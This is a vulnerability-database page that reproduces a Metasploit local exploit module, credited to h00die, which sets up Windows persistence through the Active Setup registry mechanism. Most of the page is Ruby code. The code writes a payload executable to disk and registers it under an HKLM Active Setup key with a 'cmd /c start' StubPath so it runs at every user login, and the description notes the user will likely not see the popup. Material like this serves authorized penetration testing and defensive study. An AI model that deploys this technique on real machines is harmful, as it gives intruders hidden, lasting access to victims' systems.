Lucene search
K

Windows Registry Active Setup Persistence

🗓️ 20 Feb 2026 18:55:12Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 374 Views

Register payload to run on Windows login via Active Setup persistence for a per-user popup.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Registry Active Setup Persistence',
        'Description' => %q{
          This module will register a payload to run via the Active Setup mechanism in Windows.
          Active Setup is a Windows feature that runs once per user at login.
          It triggers in a user context, losing privileges from admin to user.

          Active Setup will open a popup box with "Personalized Settings" and the text
          "Setting up personalized settings for: <SETUP_NAME>". However
          this won't occur until the login screen has exited (but before the desktop
          is loaded), and our execution is extremely fast so likely the user will not
          see it.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-12-01',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),
    ])
  end

  def regkey
    'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # test write to see if we have access
    rand = Rex::Text.rand_guid

    vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?

    registry_deletekey("#{regkey}\\#{rand}")

    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
    payload_exe = generate_payload_exe
    payload_pathname = writable_dir + '\\' + payload_name + '.exe'
    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)

    rand = Rex::Text.rand_guid
    rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")

    print_status("Using installer guid: #{rand}")
    registry_createkey("#{regkey}\\#{rand}")
    registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
    registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')

    @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)
    @clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation